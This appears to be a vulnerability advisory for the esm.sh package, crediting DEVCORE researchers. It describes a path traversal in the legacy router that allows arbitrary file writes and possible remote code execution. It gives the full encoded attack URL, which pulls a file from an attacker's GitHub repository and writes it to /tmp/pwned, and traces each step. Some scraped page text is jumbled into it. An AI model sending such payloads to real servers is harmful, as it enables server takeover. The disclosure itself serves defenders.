| Package | Affected versions | Patched versions |
|---|---|---|
| github.com/esm-dev/esm.sh | < 0.0.0-20260508100112-1960055e1d53 | 0.0.0-20260508100112-1960055e1d53 |
The legacy router first retrieves a response from legacyServer, parses the incoming request path, and ultimately writes the data to storage via buildStorage.Put
(see https://github.com/esm-dev/esm.sh/blob/4312ae93e518121e764a18bb521af12e490ef137/server/legacy_router.go#L291).
For a URL such as:
http://ESM_SH_HOST/v111/[email protected]/esnext/..%2f..%2f..%2fgh/<attacker>/exp@1171e85d5d/foo.md%23%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fpwned
the router concatenates the path components without sanitizing them, producing a storage key like:
legacy/v111/[email protected]/esnext/../../../gh/<attacker>/exp@1171e85d5d/foo.md#/../../../../../../../../../../tmp/pwned
When this key is used, the underlying file system resolves the relative segments and writes the file to /tmp/pwned. Thus an attacker can craft a request that writes data to arbitrary locations on the server.
URL Construction
A crafted request is sent to the server:
http://ESM_SH_HOST/v111/[email protected]/esnext/..%2f..%2f..%2fgh/<attacker>/exp@1171e85d5d/foo.md%23%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fpwned
Proxy to Legacy Server
The request is forwarded to:
http://legacy.esm.sh/v111/[email protected]/esnext/../../../gh/<attacker>/exp@1171e85d5d/foo.md#/../../../../../../../tmp/pwned
which resolves to:
http://legacy.esm.sh/gh/<attacker>/exp@1171e85d5d/foo.md
File Retrieval
The server fetches foo.md from the GitHub repository https://github.com/<attacker>/exp.
Path Normalisation & Storage
The storage path derived from the request is:
legacy/v111/[email protected]/esnext/../../../gh/<attacker>/exp@1171e85d5d/foo.md#/../../../../../../../../../../tmp/pwned
Normalising this path yields . The retrieved file content is then written to that location.
Running one of these products? Scan your site to see whether it exposes a vulnerable version.
Scan my site free/tmp/pwnedResult
By repeating this pattern, an attacker can overwrite arbitrary binaries or scripts on the server, paving the way for remote code execution.
splitline (@_splitline_) from DEVCORE Research Team